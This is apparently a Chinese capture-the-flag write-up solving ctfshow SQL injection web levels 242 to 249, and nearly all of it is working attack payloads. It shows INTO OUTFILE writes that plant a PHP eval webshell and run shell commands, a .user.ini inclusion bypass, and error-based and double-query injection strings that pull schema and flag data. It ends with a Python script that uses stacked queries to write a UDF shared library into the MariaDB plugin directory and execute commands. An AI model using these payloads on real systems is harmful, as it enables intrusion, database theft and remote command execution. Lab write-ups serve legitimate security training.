ctfshow web sql注入 web242--web249

web242

into outfile 的使用

SELECT ... INTO OUTFILE 'file_name'[CHARACTER SET charset_name][export_options]export_options:[{FIELDS | COLUMNS}[TERMINATED BY 'string']//分隔符[[OPTIONALLY] ENCLOSED BY 'char'][ESCAPED BY 'char']][LINES[STARTING BY 'string'][TERMINATED BY 'string']]/***********************************************************/“OPTION”参数为可选参数选项，其可能的取值有：`FIELDS TERMINATED BY '字符串'`：设置字符串为字段之间的分隔符，可以为单个或多个字符。默认值是“\t”。`FIELDS ENCLOSED BY '字符'`：设置字符来括住字段的值，只能为单个字符。默认情况下不使用任何符号。`FIELDS OPTIONALLY ENCLOSED BY '字符'`：设置字符来括住CHAR、VARCHAR和TEXT等字符型字段。默认情况下不使用任何符号。`FIELDS ESCAPED BY '字符'`：设置转义字符，只能为单个字符。默认值为“\”。`LINES STARTING BY '字符串'`：设置每行数据开头的字符，可以为单个或多个字符。默认情况下不使用任何字符。`LINES TERMINATED BY '字符串'`：设置每行数据结尾的字符，可以为单个或多个字符。默认值是“\n”。

$sql = "select * from ctfshow_user into outfile '/var/www/html/dump/{$filename}';";

filename=1.php' lines terminated by '<?php eval($_POST[1]);?>'#

访问/dump/1.php
1=system('cat /f*');

web243

过滤了php
用.user.ini包含

filename=.user.ini' lines starting by 'auto_prepend_file=1.txt\n'#
过滤了php修改一下马的写法
filename=1.txt' lines starting by '<?= eval($_POST[1]);?>'#
在1.txt并不能getshell，只能在index.php我觉得很神

web244

  $sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 1;";

在api进行注入

?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x3d),1)--+?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x3d),1)--+?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flag'),1,32),0x3d),1)--+?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(flag) from ctfshow_flag),1,32),0x3d),1)--+?id=1' or updatexml(1,concat(0x3d,mid((select group_concat(flag) from ctfshow_flag),32,32),0x3d),1)--+

web245

?id=1' or extractvalue(1,(查询语句))--+?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x3d))--+?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x3d))--+
ctfshow_flagsa?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'),1,32),0x3d))--+
flag1?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(flag1) from ctfshow_flagsa),1,32),0x3d))--+
?id=1' or extractvalue(1,concat(0x3d,mid((select group_concat(flag1) from ctfshow_flagsa),32,32),0x3d))--+

web246

双查询报错注入

?id=1' union select 1,count(*),concat(mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x7e,floor(rand()*2))a from information_schema.tables group by a--+?id=1' union select 1,count(*),concat((select schema_name from information_schema.schemata limit 4,1),0x7e,floor(rand()*2))a from information_schema.tables group by a--+

mid和limit都行，我比较喜欢用mid

?id=1' union select 1,count(*),concat(mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x7e,floor(rand()*2))a from information_schema.tables group by a--+?id=1' union select 1,count(*),concat(mid((select group_concat(flag2) from ctfshow_web.ctfshow_flags),1,32),0x7e,floor(rand()*2))a from information_schema.tables group by a--+?id=1' union select 1,count(*),concat(mid((select group_concat(flag2) from ctfshow_web.ctfshow_flags),32,32),0x7e,floor(rand()*2))a from information_schema.tables group by a--+

web247

ceil()-向上取整函数
ceil(x) 返回不小于 x 的最小整数，即向上取整。
例如，ceil(3.14) 返回 4。round() - 四舍五入函数
round(x) 返回最接近 x 的整数，如果有两个整数与 x 距离相等，则返回偶数的整数。
例如，round(3.6) 返回 4，round(3.5) 返回 4，round(3.4) 返回 3。

用这两个替换floor这个向下取整函数

?id=1' union select 1,count(*),concat(mid((select group_concat(schema_name) from information_schema.schemata),32,32),0x7e,ceil(rand()*2))a from information_schema.tables group by a--+?id=1' union select 1,count(*),concat(mid((select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'),1,32),0x7e,round(rand()*2))a from information_schema.tables group by a--+?id=1' union select 1,count(*),concat(mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flagsa'),1,32),0x7e,round(rand()*2))a from information_schema.tables group by a--+
flag?用``进行解析
?id=1' union select 1,count(*),concat(mid((select `flag?` from ctfshow_web.ctfshow_flagsa),1,32),0x7e,round(rand()*2))a from information_schema.tables group by a--+

web248

UDF提权注入

#参考脚本
#环境：Linux/MariaDB
import requestsurl='http://89a7098e-03f5-47f3-9cb5-1f1cd3d640e9.challenge.ctf.show:8080/api/?id='
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codes=[]
for i in range(0,len(code),128):codes.append(code[i:min(i+128,len(code))])#建临时表
sql='''create table temp(data longblob)'''
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)#清空临时表
sql='''delete from temp'''
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)#插入第一段数据
sql='''insert into temp(data) values (0x{})'''.format(codes[0])
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)#更新连接剩余数据
for k in range(1,len(codes)):sql='''update temp set data = concat(data,0x{})'''.format(codes[k])payload='''0';{};-- A'''.format(sql)requests.get(url+payload)#10.3.18-MariaDB    
#写入so文件
sql='''select data from temp into dumpfile '/usr/lib/mariadb/plugin/udf.so\''''
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)#引入自定义函数
sql='''create function sys_eval returns string soname 'udf.so\''''
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)#命令执行，结果更新到界面
sql='''update ctfshow_user set pass=(select sys_eval('cat /flag.her?'))'''
payload='''0';{};-- A'''.format(sql)
requests.get(url+payload)#查看结果
r=requests.get(url[:-4]+'?page=1&limit=10')
print(r.text)